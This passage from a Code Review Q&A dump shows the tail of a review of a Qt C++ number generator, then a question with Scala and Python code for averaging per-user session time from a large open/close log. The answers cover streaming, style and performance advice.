Ui::Generator)\n{\n ui->setupUi(this);\n connect(ui->generateButton, &QPushButton::clicked, this, &Generator::generateNumber);\n connect(ui->clearButton, &QPushButton::clicked, this, &Generator::clear);\n connect(ui->saveButton, &QPushButton::clicked, this, &Generator::saveToFile);\n connect(ui->exitButton, &QPushButton::clicked, this, &QApplication::exit);\n connect(ui->minimumSpinBox, static_cast<void (QSpinBox::*)(int)>(&QSpinBox::valueChanged), this, &Generator::setMinValue);\n connect(ui->maximumSpinBox, static_cast<void (QSpinBox::*)(int)>(&QSpinBox::valueChanged), this, &Generator::setMaxValue);\n}\n\nGenerator::~Generator() {\n delete ui;\n}\n\n// other methods\n// ...\n</code></pre>\n\n<h2>c. Naming</h2>\n\n<h3>i. <code>_generateNumbers(int ?, int ?, bool random)</code></h3>\n\n<p>A minor issue. You have </p>\n\n<pre><code>void _generateNumbers( int from, int to, bool random );\n</code></pre>\n\n<p>in your header file but</p>\n\n<pre><code>void Generator::_generateNumbers( int low, int high, bool random ) {\n</code></pre>\n\n<p>in your source code. Choose either <code>from</code>/<code>to</code> or <code>low</code>/<code>high</code>, but not both.</p>\n\n<h3>ii. <code>_correctInputParameters</code> and <code>oneLineOutput</code></h3>\n\n<p>For methods that return <code>bool</code> (also known as <a href=\"https://stackoverflow.com/questions/1344015/what-is-a-predicate\">predicates</a>), consider starting the method with <code>is</code> or <code>has</code>.</p>\n\n<pre><code>bool _hasCorrectInputParameters();\nbool _isOneLineOutput();\n</code></pre>\n\n<p>Helps with readability. We don't need any special guesswork to infer that these will return <code>bool</code>.</p>\n\n<h1>2. Logic</h1>\n\n<p>The logic and program flow seems a tad messy, let's try cleaning it up!</p>\n\n<h2>a. <code>clear()</code></h2>\n\n<p>What should this clear? Only the text-edit? I'd clear <code>_nums</code> as well.</p>\n\n<pre><code>void Generator::clear() {\n ui->textEdit->clear();\n _nums.clear();\n}\n</code></pre>\n\n<p>The last thing we want is to have the <code>clear</code> method clear only the gui and leave the variable sitting. Clear everything it all at once! Doing so allows us to pinpoint bugs easier – we don't have to spend 30 minutes digging through the entire code to find a lone <code>_nums = \"\"</code> placed wrongly.</p>\n\n<h2>b. <code>generateNumber</code> and <code>_generateNumbers</code> and <code>_generateNumber</code></h2>\n\n<p>First off, these methods could do with better naming. As soon as I type <em>generate</em>, the IDE completer will show these three methods and it all suddenly becomes ambiguous. <strong>Be specific with what each method does.</strong></p>\n\n<ul>\n<li><code>_generateNumber</code> only generates random numbers, so change it to <code>_generateRandomNumber</code>.</li>\n<li><code>generateNumber</code> handles the button click, so follow the first section of this answer and change it to <code>on_generateButton_clicked</code>.</li>\n<li><code>_generateNumbers</code> is a fine name as it is.</li>\n</ul>\n\n<p>Down to the logic. It doesn't really make sense to retrieve values of <code>minimumSpinBox</code> and <code>maximumSpinBox</code> in two places (one, in <code>generateNumber</code>, under the <code>else</code> branch; and two, in <code>_generateNumber</code>). Retrieve it <em>once</em>, then pass it accordingly. By the same principle, since only the <code>random</code> option needs <code>int numbersCount = ui->numbers->value();</code>, this should be placed in <code>_generateNumbers</code> instead.</p>\n\n<pre><code>void Generator::generateNumber() {\n clear();\n // _nums = \"\"; // moved to clear(); same as _nums.clear()\n\n int low = ui->minimumSpinBox->value(); // retrieve values from spinboxes ONCE \n int high = ui->maximumSpinBox->value();\n\n _generateNumbers(low, high+1, ui->random->isChecked()); // universal, no need for if-else \n\n ui->textEdit->setText(_nums);\n}\n</code></pre>\n\n<p>This also means changing <code>_generateNumber</code> to accept parameters so that we can later pass the <code>low</code> and <code>high</code> in <code>generateNumber</code>:</p>\n\n<pre><code>qint32 Generator::_generateNumber(int low, int high) {\n std::random_device rd;\n std::default_random_engine eng(rd());\n std::uniform_int_distribution<qint32> distr(low, high);\n return distr(eng);\n}\n</code></pre>\n\n<p>Currently, <code>_generateNumbers</code> serves two purposes: generating random numbers and generating sequential numbers. However, the arguments used are for completely different purposes, which is... meh... <strong>until their names contradict with their purpose</strong> which merits another <em>meh</em>. This seems like a big red sign to me:</p>\n\n<pre><code>if ( ui->random->isChecked () ) {\n _generateNumbers (0, numbersCount, true); // low = 0, high = numbersCount ?\n}\n</code></pre>\n\n<p>Does this use case not imply that the generated numbers should be between <code>0</code> and <code>numbersCount</code>? Apparently not... Apparently, <code>low</code> and <code>high</code> in <em>that</em> context means to generate <code>high – low</code> number of values.</p>\n\n<p><em>Since the purposes and use cases are different, it only makes sense to have different implementations</em>, so <strong>branch your if-else well ahead of the for-loop(s)</strong>.</p>\n\n<pre><code>void Generator::_generateNumbers( int low, int high, bool random ) {\n\n QString separator = _getSeparator();\n\n if (random) {\n int numbersCount = ui->numbers->value();\n // generate random numbers between low and high\n // for (int i = 0; i < numbersCount; i++)\n // ...\n } else {\n // generate random numbers between low and high\n // ...\n }\n\n // get rid of the last separator char\n if ( _oneLineOutput () && separator != \"\" ) { _removeLastChar(_nums);}\n}\n</code></pre>\n\n<h1>3. UI</h1>\n\n<p>On the UI side, I'd consider removing some borders – they do get in the way, especially the ones around <em>Generate Numbers</em> and the ones around your four buttons.</p>\n\n<p>You should also consider disabling the <strong><em>How many numbers</em></strong> spinbox if the selected number pattern is <strong>Sequential</strong> as the two are mutually exclusive options.</p>\n\n<p>But then, you could also consider the case where the user selects <strong>Sequential</strong> and provides a <em>from</em>-value and <em>how-many-numbers</em>-value but doesn't provide a <em>to-value</em>. Sounds like you could make this a third <em>Numbers</em> option: <strong>Sequential-n</strong>.</p>\n\n<p>It's unfortunate that we don't get the .ui to play around with, but nonetheless, it looks stunning and functional from afar. :-)</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-14T16:34:30.290",
"Id": "420685",
"Score": "2",
"body": "Welcome to Code Review! Nice job, first post or not."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-14T16:40:52.060",
"Id": "420688",
"Score": "0",
"body": "I realised I missed out a bunch of stuff on my first read. Had to read the code a third time to actually see a large proportion of the inherent problems. :P"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T11:57:10.927",
"Id": "420782",
"Score": "0",
"body": "Thank you for great review :) \nHow would you solve passing into `( int low, int high, bool random )` if I added the option you mentioned `sequential-n` , so far I got `const QString& mode` and then `if (mode == \"random\" ) / if (mode == \"sequential\") / if (mode == \"sequential-n\")` which for me is more readable than passing int/char and compare with values . Although `#define random 1` could \"solve\" readability"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T14:45:46.493",
"Id": "420793",
"Score": "1",
"body": "@sliziky This is a good use case for [enums](https://en.cppreference.com/w/cpp/language/enum) (enumerated types). These are a tad safer than strings (the compiler will catch any typos) while maintaining readability. Hope this helps ~"
}
],
"meta_data": {
"CommentCount": "4",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-14T15:21:42.937",
"Id": "217444",
"ParentId": "217431",
"Score": "5"
}
}
] | {
"AcceptedAnswerId": "217444",
"CommentCount": "3",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-14T10:47:58.837",
"Id": "217431",
"Score": "6",
"Tags": [
"c++",
"c++11",
"random",
"gui",
"qt"
],
"Title": "Qt Number Generator v2"
} | 217431 |
<p>We have a large log file which stores user interactions with an application. The entries in the log file follow the following schema: {userId, timestamp, actionType} where actionType is one of two possible values: [open, close]</p>
<h1>Constraints:</h1>
<ol>
<li>The log file is too big to fit in memory on one machine. Also assume that the aggregated data doesn’t fit into memory.</li>
<li>Code has to be able to run on a single machine.</li>
<li>Should not use an out-of-the box implementation of mapreduce or 3rd party database; don’t assume we have a Hadoop or Spark or other distributed computing framework.</li>
<li>There can be multiple entries of each actionType for each user, and there might be missing entries in the log file. So a user might be missing a close record between two open records or vice versa.</li>
<li>Timestamps will come in strictly ascending order.</li>
</ol>
<p>For this problem, we need to implement a class/classes that computes the average time spent by each user between open and close. Keep in mind that there are missing entries for some users, so we will have to make a choice about how to handle these entries when making our calculations. Code should follow a consistent policy with regards to how we make that choice.</p>
<p>The desired output for the solution should be [{userId, timeSpent},….] for all the users in the log file.</p>
<p>Sample log file (comma-separated, text file)</p>
<pre><code>1,1435456566,open
2,1435457643,open
3,1435458912,open
1,1435459567,close
4,1435460345,open
1,1435461234,open
2,1435462567,close
1,1435463456,open
3,1435464398,close
4,1435465122,close
1,1435466775,close
</code></pre>
<h1>Approach</h1>
<p>Here is the code I've written in Python and Scala, which seems to be not efficient and up to the expectations of the scenario given. I'd like feedback on how I could optimise this code as per the given scenario.</p>
<h2>Scala implementation</h2>
<pre class="lang-scala prettyprint-override"><code>import java.io.FileInputStream
import java.util.{Scanner, Map, LinkedList}
import java.lang.Long
import scala.collection.mutable
object UserMetrics extends App {
if (args.length == 0) {
println("Please provide input data file name for processing")
}
val userMetrics = new UserMetrics()
userMetrics.readInputFile(args(0),if (args.length == 1) 600000 else args(1).toInt)
}
case class UserInfo(userId: Integer, prevTimeStamp: Long, prevStatus: String, timeSpent: Long, occurence: Integer)
class UserMetrics {
val usermap = mutable.Map[Integer, LinkedList[UserInfo]]()
def readInputFile(stArr:String, timeOut: Int) {
var inputStream: FileInputStream = null
var sc: Scanner = null
try {
inputStream = new FileInputStream(stArr);
sc = new Scanner(inputStream, "UTF-8");
while (sc.hasNextLine()) {
val line: String = sc.nextLine();
processInput(line, timeOut)
}
for ((key: Integer, userLs: LinkedList[UserInfo]) <- usermap) {
val userInfo:UserInfo = userLs.get(0)
val timespent = if (userInfo.occurence>0) userInfo.timeSpent/userInfo.occurence else 0
println("{" + key +","+timespent + "}")
}
if (sc.ioException() != null) {
throw sc.ioException();
}
} finally {
if (inputStream != null) {
inputStream.close();
}
if (sc != null) {
sc.close();
}
}
}
def processInput(line: String, timeOut: Int) {
val strSp = line.split(",")
val userId: Integer = Integer.parseInt(strSp(0))
val curTimeStamp = Long.parseLong(strSp(1))
val status = strSp(2)
val uInfo: UserInfo = UserInfo(userId, curTimeStamp, status, 0, 0)
val emptyUserInfo: LinkedList[UserInfo] = new LinkedList[UserInfo]()
val lsUserInfo: LinkedList[UserInfo] = usermap.getOrElse(userId, emptyUserInfo)
if (lsUserInfo != null && lsUserInfo.size() > 0) {
val lastUserInfo: UserInfo = lsUserInfo.get(lsUserInfo.size() - 1)
val prevTimeStamp: Long = lastUserInfo.prevTimeStamp
val prevStatus: String = lastUserInfo.prevStatus
if (prevStatus.equals("open")) {
if (status.equals(lastUserInfo.prevStatus)) {
val timeSelector = if ((curTimeStamp - prevTimeStamp) > timeOut) timeOut else curTimeStamp - prevTimeStamp
val timeDiff = lastUserInfo.timeSpent + timeSelector
lsUserInfo.remove()
lsUserInfo.add(UserInfo(userId, curTimeStamp, status, timeDiff, lastUserInfo.occurence + 1))
} else if(!status.equals(lastUserInfo.prevStatus)){
val timeDiff = lastUserInfo.timeSpent + curTimeStamp - prevTimeStamp
lsUserInfo.remove()
lsUserInfo.add(UserInfo(userId, curTimeStamp, status, timeDiff, lastUserInfo.occurence + 1))
}
} else if(prevStatus.equals("close")) {
if (status.equals(lastUserInfo.prevStatus)) {
lsUserInfo.remove()
val timeSelector = if ((curTimeStamp - prevTimeStamp) > timeOut) timeOut else curTimeStamp - prevTimeStamp
lsUserInfo.add(UserInfo(userId, curTimeStamp, status, lastUserInfo.timeSpent + timeSelector, lastUserInfo.occurence+1))
}else if(!status.equals(lastUserInfo.prevStatus))
{
lsUserInfo.remove()
lsUserInfo.add(UserInfo(userId, curTimeStamp, status, lastUserInfo.timeSpent, lastUserInfo.occurence))
}
}
}else if(lsUserInfo.size()==0){
lsUserInfo.add(uInfo)
}
usermap.put(userId, lsUserInfo)
}
}
</code></pre>
<h2>Python Implementation</h2>
<pre class="lang-py prettyprint-override"><code>import sys
def fileBlockStream(fp, number_of_blocks, block):
#A generator that splits a file into blocks and iterates over the lines of one of the blocks.
assert 0 <= block and block < number_of_blocks #Assertions to validate number of blocks given
assert 0 < number_of_blocks
fp.seek(0,2) #seek to end of file to compute block size
file_size = fp.tell()
ini = file_size * block / number_of_blocks #compute start & end point of file block
end = file_size * (1 + block) / number_of_blocks
if ini <= 0:
fp.seek(0)
else:
fp.seek(ini-1)
fp.readline()
while fp.tell() < end:
yield fp.readline() #iterate over lines of the particular chunk or block
def computeResultDS(chunk,avgTimeSpentDict,defaultTimeOut):
countPos,totTmPos,openTmPos,closeTmPos,nextEventPos = 0,1,2,3,4
for rows in chunk.splitlines():
if len(rows.split(",")) != 3:
continue
userKeyID = rows.split(",")[0]
try:
curTimeStamp = int(rows.split(",")[1])
except ValueError:
print("Invalid Timestamp for ID:" + str(userKeyID))
continue
curEvent = rows.split(",")[2]
if userKeyID in avgTimeSpentDict.keys() and avgTimeSpentDict[userKeyID][nextEventPos]==1 and curEvent == "close":
#Check if already existing userID with expected Close event 0 - Open; 1 - Close
#Array value within dictionary stores [No. of pair events, total time spent (Close tm-Open tm), Last Open Tm, Last Close Tm, Next expected Event]
curTotalTime = curTimeStamp - avgTimeSpentDict[userKeyID][openTmPos]
totalTime = curTotalTime + avgTimeSpentDict[userKeyID][totTmPos]
eventCount = avgTimeSpentDict[userKeyID][countPos] + 1
avgTimeSpentDict[userKeyID][countPos] = eventCount
avgTimeSpentDict[userKeyID][totTmPos] = totalTime
avgTimeSpentDict[userKeyID][closeTmPos] = curTimeStamp
avgTimeSpentDict[userKeyID][nextEventPos] = 0 #Change next expected event to Open
elif userKeyID in avgTimeSpentDict.keys() and avgTimeSpentDict[userKeyID][nextEventPos]==0 and curEvent == "open":
avgTimeSpentDict[userKeyID][openTmPos] = curTimeStamp
avgTimeSpentDict[userKeyID][nextEventPos] = 1 #Change next expected event to Close
elif userKeyID in avgTimeSpentDict.keys() and avgTimeSpentDict[userKeyID][nextEventPos]==1 and curEvent == "open":
curTotalTime,closeTime = missingHandler(defaultTimeOut,avgTimeSpentDict[userKeyID][openTmPos],curTimeStamp)
totalTime = curTotalTime + avgTimeSpentDict[userKeyID][totTmPos]
avgTimeSpentDict[userKeyID][totTmPos]=totalTime
avgTimeSpentDict[userKeyID][closeTmPos]=closeTime
avgTimeSpentDict[userKeyID][openTmPos]=curTimeStamp
eventCount = avgTimeSpentDict[userKeyID][countPos] + 1
avgTimeSpentDict[userKeyID][countPos] = eventCount
elif userKeyID in avgTimeSpentDict.keys() and avgTimeSpentDict[userKeyID][nextEventPos]==0 and curEvent == "close":
curTotalTime,openTime = missingHandler(defaultTimeOut,avgTimeSpentDict[userKeyID][closeTmPos],curTimeStamp)
totalTime = curTotalTime + avgTimeSpentDict[userKeyID][totTmPos]
avgTimeSpentDict[userKeyID][totTmPos]=totalTime
avgTimeSpentDict[userKeyID][openTmPos]=openTime
eventCount = avgTimeSpentDict[userKeyID][countPos] + 1
avgTimeSpentDict[userKeyID][countPos] = eventCount
elif curEvent == "open":
#Initialize userid with Open event
avgTimeSpentDict[userKeyID] = [0,0,curTimeStamp,0,1]
elif curEvent == "close":
#Initialize userid with missing handler function since there is no Open event for this User
totaltime,OpenTime = missingHandler(defaultTimeOut,0,curTimeStamp)
avgTimeSpentDict[userKeyID] = [1,totaltime,OpenTime,curTimeStamp,0]
def missingHandler(defaultTimeOut,curTimeVal,lastTimeVal):
if lastTimeVal - curTimeVal > defaultTimeOut:
return defaultTimeOut,curTimeVal
else:
return lastTimeVal - curTimeVal,curTimeVal
def computeAvg(avgTimeSpentDict,defaultTimeOut):
resDict = {}
for k,v in avgTimeSpentDict.iteritems():
if v[0] == 0:
resDict[k] = 0
else:
resDict[k] = v[1]/v[0]
return resDict
if __name__ == "__main__":
avgTimeSpentDict = {}
if len(sys.argv) < 2:
print("Please provide input data file name for processing")
sys.exit(1)
fileObj = open(sys.argv[1])
number_of_chunks = 4 if len(sys.argv) < 3 else int(sys.argv[2])
defaultTimeOut = 60000 if len(sys.argv) < 4 else int(sys.argv[3])
for chunk_number in range(number_of_chunks):
for chunk in fileBlockStream(fileObj, number_of_chunks, chunk_number):
computeResultDS(chunk, avgTimeSpentDict, defaultTimeOut)
print (computeAvg(avgTimeSpentDict,defaultTimeOut))
avgTimeSpentDict.clear() #Nullify dictionary
fileObj.close #Close the file object
</code></pre>
<p>Both programs give the desired output, but efficiency is what matters for this particular scenario. Let me know if you have anything better or any suggestions on the existing implementation.</p>
| [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-14T12:37:26.207",
"Id": "420652",
"Score": "0",
"body": "how is it possible that the aggregated data doesn't fit in memory? It's ~20 bytes per user - you really have a userbase of billions?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-14T14:25:51.623",
"Id": "420663",
"Score": "0",
"body": "This is to bring out memory efficient solution and critical thinking among programmers in one of our internal org forum."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-14T14:46:59.540",
"Id": "420666",
"Score": "1",
"body": "is the problem real or imaginary?"
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-14T15:45:59.013",
"Id": "420676",
"Score": "0",
"body": "Imaginery.. We handle such huge volume in distributed Hadoop cluster with spark. But this challenge is to avoid and handle the same solution in single machine."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-14T15:52:03.870",
"Id": "420677",
"Score": "3",
"body": "you've taken a real problem and applied made-up constraints, like a programming puzzle would have, and got the worst of both worlds. The arbitrary One True Solution character of a puzzle is combined with the vagueness, length and tedium of a real problem. I suggest to remove a bunch of detail to create a short puzzle, or drop the fake restrictions and add real context like \"actual size of input\" and \"actual available memory\" to describe an authentic engineering problem."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-14T16:35:05.580",
"Id": "420686",
"Score": "0",
"body": "I want to handle memory optimization and efficiency of the code, at the same time produce expected output for the problem with given constraints."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T01:26:59.307",
"Id": "420969",
"Score": "0",
"body": "I feel like if you are wondering how to make a multi-GB csv efficient, you really should be using a proper database like SQL."
}
] | [
{
"body": "<p>This is a comment on your Python solution (I don't know anything about Scala).</p>\n\n<p>You don't need to iterate over chunks of your file unless you want to do parallel processing. However, since there might be a close event in a different block from an opening event, this process is not so easy to parallelize (you would have to keep track of dangling users in both directions, which you don't do as far as I can tell).</p>\n\n<p>Also, the restriction that the aggregate does not fit into memory is...unrealistic IMO. You would have to have more users than there are people in the world. Anyways, your code does not respect this constraint either, since <code>avgTimeSpentDict</code> contains all users and will therefore not fit into memory. So I'm going to ignore this part.</p>\n\n<p>Instead, just iterate over the file normally, with a <code>for</code> loop. This does not read the whole file into memory. Update a running mean with the new value whenever you find a matching event for each user.</p>\n\n<p>At the same time keep a dictionary of users that are <code>open</code> to look out for a matching <code>close</code> event. If you have a <code>close</code> event without an <code>open</code>, it is a broken one and we can ignore it because you said it is guaranteed that the times are sorted (and time travel has not been invented yet, AFAIK). Or do something else with it. Same goes for an <code>open</code> event after a previous <code>open</code>, without any intervening <code>close</code>. Here I just added a <code>print</code> in those cases.</p>\n\n<pre class=\"lang-py prettyprint-override\"><code>import sys\nfrom collections import defaultdict\n\ndef update_mean(count, mean, new_value):\n count += 1. # float so it also works in Python 2\n mean += (new_value - mean) / count\n return count, mean\n\ndef average_timeout(file_name): \n open_users = {}\n time_spent = defaultdict(lambda: (0., 0.))\n\n with open(file_name) as f:\n for line in f:\n print(line.strip())\n try:\n user_id, timestamp, event = line.strip().split(\",\")\n except ValueError:\n print(f\"misformed line: {line!r}\")\n continue\n\n if event == \"open\":\n if user_id in open_users:\n print(\"open with prior open, missed a close\")\n open_users[user_id] = int(timestamp)\n elif event == \"close\":\n if user_id not in open_users:\n print(\"close without open\")\n else:\n diff = int(timestamp) - open_users.pop(user_id)\n time_spent[user_id] = update_mean(*time_spent[user_id], diff)\n print(f\"close with prior open, time difference {diff}\")\n else:\n print(f\"Unknown event: {event}\")\n\n print(f\"{len(open_users)} users left without close event\")\n return time_spent\n\nif __name__ == \"__main__\":\n time_spent = average_timeout(sys.argv[1])\n for user, (_, mean) in time_spent.items():\n print(f\"{user} average timeout: {mean}\")\n</code></pre>\n\n<p>In production you will obviously want to either remove most of the <code>print</code>s or at least make them <code>logging.debug</code> calls.</p>\n\n<p>This can still run out of memory if the average length between an <code>open</code> and a <code>close</code> event contains more <code>open</code> events by different users than there is memory. Or if all events are broken and lack a <code>close</code>.</p>\n\n<p>Python has an official style-guide, <a href=\"https://www.python.org/dev/peps/pep-0008/\" rel=\"noreferrer\">PEP8</a>, which programmers are encouraged to follow. It recommends using <code>lower_case</code> for functions and variables and putting a space after each comma in an argument list.</p>\n\n<p><code>fileObj.close</code> does not actually close the file if you don't call it, <code>fileObj.close()</code>. But even better is to use <code>with</code> which will take care of closing the file for you, even in the event of an exception occurring somewhere.</p>\n\n<p>You should use Python 3. <a href=\"https://pythonclock.org/\" rel=\"noreferrer\">Python 2 will no longer be supported in less than a year</a>.</p>\n\n<p>You can use <code>x in d</code> to check if some value <code>x</code> is in a dictionary <code>d</code>. No need to do <code>x in d.keys()</code>. In Python 2 this distinction is even more important since <code>x in d</code> is <span class=\"math-container\">\\$\\mathcal{O}(1)\\$</span>, while <code>x in d.keys()</code> is <span class=\"math-container\">\\$\\mathcal{O}(n)\\$</span> (since it is a <code>list</code>).</p>\n",
"comments": [
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T00:05:01.973",
"Id": "420967",
"Score": "0",
"body": "I'd suggest adding the maxsplit parameter to `split` to deal with extra fields in the input lines."
},
{
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-17T06:37:10.567",
"Id": "420988",
"Score": "0",
"body": "@AustinHastings That would just change it from being identified as a malformed line to an unknown event? And I would still need the `try...except` for lines with less fields (like empty lines)."
}
],
"meta_data": {
"CommentCount": "2",
"ContentLicense": "CC BY-SA 4.0",
"CreationDate": "2019-04-15T14:45:51.530",
"Id": "217493",
"ParentId": "217434",
"Score": "7"
}
},
{
"body": "<p><a href=\"https://codereview.stackexchange.com/a/217493/106818\">Graipher's answer</a> already addresses some of the higher-level issues with your Python solution. Like him, I cannot speak to the Scala solution.</p>\n\n<p>Instead, I'll focus on your core function and how to improve the speed of \"C Python\" code (that is, Python run under the standard <code>python</code> executable written in C).</p>\n\n<h1>The function:</h1>\n\n<pre><code>def computeResultDS(chunk,avgTimeSpentDict,defaultTimeOut):\n countPos,totTmPos,openTmPos,closeTmPos,nextEventPos = 0,1,2,3,4\n for rows in chunk.splitlines():\n if len(rows.split(\",\")) != 3:\n continue\n userKeyID = rows.split(\",\")[0]\n try:\n curTimeStamp = int(rows.split(\",\")[1])\n except ValueError:\n print(\"Invalid Timestamp for ID:\" + str(userKeyID))\n continue\n curEvent = rows.split(\",\")[2]\n if userKeyID in avgTimeSpentDict.keys() and avgTimeSpentDict[userKeyID][nextEventPos]==1 and curEvent == \"close\": \n #Check if already existing userID with expected Close event 0 - Open; 1 - Close\n #Array value within dictionary stores [No. of pair events, total time spent (Close tm-Open tm), Last Open Tm, Last Close Tm, Next expected Event]\n curTotalTime = curTimeStamp - avgTimeSpentDict[userKeyID][openTmPos]\n totalTime = curTotalTime + avgTimeSpentDict[userKeyID][totTmPos]\n eventCount = avgTimeSpentDict[userKeyID][countPos] + 1\n avgTimeSpentDict[userKeyID][countPos] = eventCount\n avgTimeSpentDict[userKeyID][totTmPos] = totalTime\n avgTimeSpentDict[userKeyID][closeTmPos] = curTimeStamp\n avgTimeSpentDict[userKeyID][nextEventPos] = 0 #Change next expected event to Open\n\n elif userKeyID in avgTimeSpentDict.keys() and avgTimeSpentDict[userKeyID][nextEventPos]==0 and curEvent == \"open\":\n avgTimeSpentDict[userKeyID][openTmPos] = curTimeStamp\n avgTimeSpentDict[userKeyID][nextEventPos] = 1 #Change next expected event to Close\n\n elif userKeyID in avgTimeSpentDict.keys() and avgTimeSpentDict[userKeyID][nextEventPos]==1 and curEvent == \"open\":\n curTotalTime,closeTime = missingHandler(defaultTimeOut,avgTimeSpentDict[userKeyID][openTmPos],curTimeStamp)\n totalTime = curTotalTime + avgTimeSpentDict[userKeyID][totTmPos]\n avgTimeSpentDict[userKeyID][totTmPos]=totalTime\n avgTimeSpentDict[userKeyID][closeTmPos]=closeTime\n avgTimeSpentDict[userKeyID][openTmPos]=curTimeStamp\n eventCount = avgTimeSpentDict[userKeyID][countPos] + 1\n avgTimeSpentDict[userKeyID][countPos] = eventCount \n\n elif userKeyID in avgTimeSpentDict.keys() and avgTimeSpentDict[userKeyID][nextEventPos]==0 and curEvent == \"close\": \n curTotalTime,openTime = missingHandler(defaultTimeOut,avgTimeSpentDict[userKeyID][closeTmPos],curTimeStamp)\n totalTime = curTotalTime + avgTimeSpentDict[userKeyID][totTmPos]\n avgTimeSpentDict[userKeyID][totTmPos]=totalTime\n avgTimeSpentDict[userKeyID][openTmPos]=openTime\n eventCount = avgTimeSpentDict[userKeyID][countPos] + 1\n avgTimeSpentDict[userKeyID][countPos] = eventCount\n\n elif curEvent == \"open\":\n #Initialize userid with Open event\n avgTimeSpentDict[userKeyID] = [0,0,curTimeStamp,0,1]\n\n elif curEvent == \"close\":\n #Initialize userid with missing handler function since there is no Open event for this User\n totaltime,OpenTime = missingHandler(defaultTimeOut,0,curTimeStamp)\n avgTimeSpentDict[userKeyID] = [1,totaltime,OpenTime,curTimeStamp,0]\n</code></pre>\n\n<h1>The Rules</h1>\n\n<p>The rules of performance-hunting in CPython are as follows:</p>\n\n<p><code>0.</code> Don't. CPython is slow, so the easiest way to improve performance is to not use CPython. Use Cython, pypy, or some other language.</p>\n\n<p><code>1.</code> Always go for the 'big O'. The best way to gain performance is by <em>algorithmic improvements.</em> If you can convert from <span class=\"math-container\">\\$O(n^2)\\$</span> to <span class=\"math-container\">\\$O(n log n)\\$</span> you will be better off than you would be trying to squeeze out incremental improvements.</p>\n\n<p><code>2.</code> Never do in Python that which you can do in 'C'. This is particularly relevant to your code because you have written I/O buffering code. For reading a text file. In Python. Don't do that. Let C handle it, and just use line-at-a-time mode for reading the file. (The exception to this would be rule #1. If you could convert from reading the entire file in C to bsearching the file in Python, it might be a win.)</p>\n\n<p><code>2a.</code> You can get a surprising amount of performance by switching to <a href=\"https://pypi.org/project/numpy/\" rel=\"nofollow noreferrer\"><code>numpy</code></a> or <a href=\"https://pypi.org/project/pandas/\" rel=\"nofollow noreferrer\"><code>pandas</code></a>. It's worth the learning curve if you really want to process large amounts of data in CPython.</p>\n\n<p><code>3.</code> It's all about the lookups. The Python spec defines a language that is basically impossible to optimize. Every name, including attribute and method names, has to be looked up every time. The compiler will only do the most rudimentary of expression folding, on the off chance that an invocation in one statement has caused the <code>__iadd__</code> method to be replaced in a subsequent statement, so things like:</p>\n\n<pre><code>x += 1\nx += 2\n</code></pre>\n\n<p>won't be folded. And things like:</p>\n\n<pre><code>avgTimeSpentDict[userKeyID][countPos] = eventCount\navgTimeSpentDict[userKeyID][totTmPos] = totalTime\navgTimeSpentDict[userKeyID][closeTmPos] = curTimeStamp\navgTimeSpentDict[userKeyID][nextEventPos] = 0 #Change next expected event to Open\n</code></pre>\n\n<p>Repeat the same lookups over, and over, and over, and over again. The solution to this is caching in local variables, which I'll demonstrate below.</p>\n\n<p><code>4.</code> Provide hard timings or get out! Some opcodes are faster than others. Some things pipeline better than others. Sometimes smaller code fits in the cache better than larger-but-theoretically-faster code. </p>\n\n<p>If you are concerned about performance, the very first thing you must do is build a timing framework, or you're not really concerned about performance. In many cases, the current date/time before and after is enough- if your code doesn't take at least 1 second to run, you either don't have enough data in your test data set, or you don't really have a performance problem!</p>\n\n<h1>The changes</h1>\n\n<h2>Memory usage</h2>\n\n<p>Graipher pointed out that your code doesn't follow the constraints you laid down. So let's talk about that first.</p>\n\n<p>In order to try to honor your constraint about the aggregate user data not fitting in available memory, you should focus on building a pipeline. Let the first stage of your pipeline be something like this program. Unix provides the <code>sort</code> utility which can handle files that are larger than available memory, so if you focus on cleaning up the data and constructing a series of elapsed-time records with associated user id, you can then <code>sort</code> by the user id to get them adjacent, and the third stage of your pipeline could sum and average intervals for one user at a time. In Unix terms:</p>\n\n<pre><code>$ make-interval-records < infile | sort (by userid) | sum-and-average > outfile\n</code></pre>\n\n<p>Or, as with Graipher's answer, we could ignore this constraint. That's more relevant, I think.</p>\n\n<h2>Lookups</h2>\n\n<p>Here's a REPL session I just ran. I defined a function with the first few lines of your inner loop, and used the built-in module <code>dis</code> to dump the generated byte codes. As a rule, some bytecodes are slower than others, but more bytecodes is generally slower than less bytes codes.</p>\n\n<pre><code>h[1] >>> def f(chunk):\n... for rows in chunk:\n... if len(rows.split(\",\")) != 3:\n... continue\n... userKeyID = rows.split(\",\")[0]\n... try:\n... curTimeStamp = int(rows.split(\",\")[1])\n... except ValueError:\n... print(\"Invalid Timestamp for ID:\" + str(userKeyID))\n... continue\n...\nh[1] >>> dis.dis(f)\n 2 0 SETUP_LOOP 108 (to 110)\n 2 LOAD_FAST 0 (chunk)\n 4 GET_ITER\n >> 6 FOR_ITER 100 (to 108)\n 8 STORE_FAST 1 (rows)\n</code></pre>\n\n<p>Ignore the opcodes above ^^ as they are just faked-up to model your loop.</p>\n\n<pre><code> 3 10 LOAD_GLOBAL 0 (len)\n 12 LOAD_FAST 1 (rows)\n 14 LOAD_METHOD 1 (split)\n 16 LOAD_CONST 1 (',')\n 18 CALL_METHOD 1\n 20 CALL_FUNCTION 1\n 22 LOAD_CONST 2 (3)\n 24 COMPARE_OP 3 (!=)\n 26 POP_JUMP_IF_FALSE 30\n</code></pre>\n\n<p>Notice that the first thing we do here is a <em>global</em> lookup for the name <code>len</code>. Yes, it's a built-in function. But Python allows for that function to be overridden at the module level, so it checks to 